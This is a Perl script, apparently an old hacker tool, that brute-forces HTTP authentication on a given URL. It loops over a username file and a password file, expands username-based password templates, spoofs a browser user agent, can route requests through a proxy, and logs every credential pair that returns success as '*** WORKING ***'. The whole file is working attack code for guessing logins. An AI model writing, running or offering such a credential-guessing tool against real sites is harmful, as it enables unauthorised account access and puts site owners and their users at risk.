#!/usr/bin/perl
#
# 2001mei@websec.org
# minihack because of digest-auth!!
#
###################################

use LWP;
use Getopt::Std;
use HTTP::Request;
use HTTP::Response;

use vars qw($opt_a $opt_u $opt_p $opt_l $opt_v);
getopts("a:u:p:l:v:");


# very object oriented :-)
# "overwritten" get_basic_credentials method
# useful for our own authentication :-)
# of course one could create a "real" package
# but .. whatfor :-)
#
{
package RequestAgent;
@ISA = qw(LWP::UserAgent);

$nutzer = "";
$passwort = "";
$pwc = 0;
@pwlist = "";

sub new
{
my $self = LWP::UserAgent::new(@_);
$self->agent("Mozilla 6.0 Windows NT/5.0 V43");
$self;
}

sub pwset
{
($self,$user,$pass) = @_;
}

sub get_basic_credentials
{
my($self, $realm, $uri) = @_;
my $netloc = $uri->host_port;
return ($user, $pass);
}

}

#
# end minipackage
#####################################

## vardecs
##
my $adress = $opt_a;
my $userfile = $opt_u;
my $passfile = $opt_p;
my $logfile = $opt_l;
my $proxy = $opt_v;

my @passes;

## check that
##
if (!$adress || !$userfile || !$passfile)
{
print "\nusage: $0 -a [url]\n\t-u [userFile]\n\t-p [passfile]\n\t-l [logfile]\n\t-p [proxy]\n\n";
exit 11;
}

## the main :-)) routine
## pretty short ah
##

## iv
##
($adress = "http://".$adress) if ($adress !~ /http:\/\// && $adress !~ /https:\/\//);

## resultfile
if ($logfile ne '')
{
open (RF, "> $logfile") || die "\ncant open $logfile !?!\n";
print RF "$adress:\n";
}

open(UF, "< $userfile") || die "\ncant open $userfile\n";

while (<UF>)
{
my $uid = $_;

##
open(PF, "< $passfile") || die "\ncant open $passfile\n";
##
while (<PF>)
{
my $pwd = $_;

my $user_agent = RequestAgent->new();
$user_agent->agent("Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.0)");

if ($proxy ne '')
{
$user_agent->proxy('http', $proxy) if($adress =~ /^http:\/\/.*$/);
$user_agent->proxy('https', $proxy) if($adress =~ /^https:\/\/.*$/);
}

$uid =~ s/[\n\r]//g;
$pwd =~ s/[\n\r]//g;
$pwd = &special($uid,$pwd);

$user_agent->pwset($uid,$pwd);

my $request = new HTTP::Request('GET', $adress);
my $response = $user_agent->request($request);

if ($response->is_success)
{
print "$uid:$pwd *** WORKING *** (",$response->code(),")\n";
print RF "$uid:$pwd *** WORKING *** (",$response->code(),")\n" if ($logfile ne '');

}
else
{
print "$uid:$pwd (",$response->code(),")\n";
print RF "$uid:$pwd (",$response->code(),")\n" if ($logfile ne '');
}
}
close(PF);
}
close (UF);
close (RF);


### sub special (pwd,uid)
### returns pwd

sub special
{
my $u = shift;
my $p = shift;

## check for %%UID%% in password
##
$p =~ s/%%UID%%/$u/ if($p =~ /%%UID%%/);

## check for %%UIDREV%% in password
##
if ($p =~ /%%UIDREV%%/)
{
my $tmp = "";
my $c = 0;

for ($c=length($u);$c>=0;$c--)
{
$tmp .= substr($u,$c,1);
}
$p =~ s/%%UIDREV%%/$tmp/;
}

## done
##
return $p;
}